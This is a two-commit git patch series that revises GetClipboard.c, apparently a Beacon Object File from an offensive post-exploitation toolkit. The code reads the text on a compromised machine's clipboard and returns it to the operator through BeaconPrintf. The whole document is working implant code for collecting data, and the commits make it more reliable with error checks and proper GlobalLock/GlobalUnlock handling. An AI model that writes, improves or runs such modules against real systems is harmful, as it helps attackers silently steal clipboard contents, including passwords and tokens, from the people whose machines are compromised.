From d0bdb48183c7172da89179dc9d0a9802acccf6f8 Mon Sep 17 00:00:00 2001 From: atomiczsec <75549184+atomiczsec@users.noreply.github.com> Date: Wed, 30 Jul 2025 14:42:27 -0400 Subject: [PATCH 1/2] Update GetClipboard.c --- Collection/Clipboard/GetClipboard.c | 41 ++++++++++++++++++++++------- 1 file changed, 31 insertions(+), 10 deletions(-) diff --git a/Collection/Clipboard/GetClipboard.c b/Collection/Clipboard/GetClipboard.c index 06d9b25..e61ecd7 100644 --- a/Collection/Clipboard/GetClipboard.c +++ b/Collection/Clipboard/GetClipboard.c @@ -3,17 +3,38 @@ #include #include "beacon.h" -DECLSPEC_IMPORT HWND WINAPI KERNEL32$GetConsoleWindow(void); DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$OpenClipboard(HWND); DECLSPEC_IMPORT WINUSERAPI HANDLE WINAPI USER32$GetClipboardData(UINT); -DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$CloseClipboard(void); +DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$CloseClipboard(void); +DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$IsClipboardFormatAvailable(UINT); - - void go() { - - HWND owner = KERNEL32$GetConsoleWindow(); - USER32$OpenClipboard(owner); - owner = USER32$GetClipboardData(CF_TEXT); - BeaconPrintf(CALLBACK_OUTPUT, "%s\n", (char *)owner);; +void go() { + HANDLE hClipData = NULL; + char* pClipText = NULL; + + if (!USER32$IsClipboardFormatAvailable(CF_TEXT)) { + BeaconPrintf(CALLBACK_ERROR, "[!] No text data available in clipboard\n"); + return; + } + + if (!USER32$OpenClipboard(NULL)) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to open clipboard\n"); + return; + } + + hClipData = USER32$GetClipboardData(CF_TEXT); + if (hClipData == NULL) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to retrieve clipboard data\n"); + USER32$CloseClipboard(); + return; + } + + pClipText = (char*)hClipData; + if (pClipText == NULL || strlen(pClipText) == 0) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Clipboard is empty\n"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Clipboard contents:\n%s\n", pClipText); + } + USER32$CloseClipboard(); - } \ No newline at end of file +} From d20a383c1b19fdacdfc042f9cc051ee9f9e39eb3 Mon Sep 17 00:00:00 2001 From: atomiczsec <75549184+atomiczsec@users.noreply.github.com> Date: Wed, 30 Jul 2025 14:53:35 -0400 Subject: [PATCH 2/2] Update GetClipboard.c to add proper clipboard memory locking --- Collection/Clipboard/GetClipboard.c | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/Collection/Clipboard/GetClipboard.c b/Collection/Clipboard/GetClipboard.c index e61ecd7..fc2afe8 100644 --- a/Collection/Clipboard/GetClipboard.c +++ b/Collection/Clipboard/GetClipboard.c @@ -7,6 +7,8 @@ DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$OpenClipboard(HWND); DECLSPEC_IMPORT WINUSERAPI HANDLE WINAPI USER32$GetClipboardData(UINT); DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$CloseClipboard(void); DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$IsClipboardFormatAvailable(UINT); +DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$GlobalLock(HGLOBAL); +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$GlobalUnlock(HGLOBAL); void go() { HANDLE hClipData = NULL; @@ -29,12 +31,19 @@ void go() { return; } - pClipText = (char*)hClipData; - if (pClipText == NULL || strlen(pClipText) == 0) { + pClipText = (char*)KERNEL32$GlobalLock(hClipData); + if (pClipText == NULL) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to lock clipboard data\n"); + USER32$CloseClipboard(); + return; + } + + if (strlen(pClipText) == 0) { BeaconPrintf(CALLBACK_OUTPUT, "[*] Clipboard is empty\n"); } else { BeaconPrintf(CALLBACK_OUTPUT, "[+] Clipboard contents:\n%s\n", pClipText); } + KERNEL32$GlobalUnlock(hClipData); USER32$CloseClipboard(); }